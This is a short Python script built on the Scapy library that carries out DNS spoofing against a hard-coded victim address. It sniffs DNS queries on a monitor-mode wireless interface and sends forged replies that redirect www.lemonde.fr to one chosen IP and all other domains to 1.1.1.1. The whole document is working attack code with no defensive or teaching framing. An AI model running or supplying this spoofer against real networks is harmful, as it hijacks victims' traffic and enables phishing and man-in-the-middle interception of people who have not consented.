```python from scapy.all import * from scapy.all import Ether, IP, TCP, UDP, DNS, DNSQR, DNSRR victim_addr = '10.42.0.129' target_addr = '4.4.4.4' target_iface_recv='wlp0s20f3mon' target_iface_send = 'wlxac15a2af1bf9' def generate_fake_address(domain_name): print(domain_name) if domain_name == b'www.lemonde.fr.': return '188.184.21.108' else: return '1.1.1.1' def reply(p): if DNS in p: domain_name = p[DNS].qd.qname redirect_addr = generate_fake_address(domain_name) dns = DNS(id=p[DNS].id, qr=1, rd=p[DNS].rd, ra=p[DNS].ra, qd=p[DNS].qd, an=DNSRR( rrname=domain_name, ttl=42, rdata=redirect_addr)) p2 = Ether()/IP(src=p[IP].dst, dst=p[IP].src) / \ UDP(sport=53, dport=p[UDP].sport)/dns sendp(p2, iface=target_iface_send) sniff(iface=target_iface_recv, filter='src '+victim_addr+' and dst '+target_addr+' and udp port 53', prn=reply) ```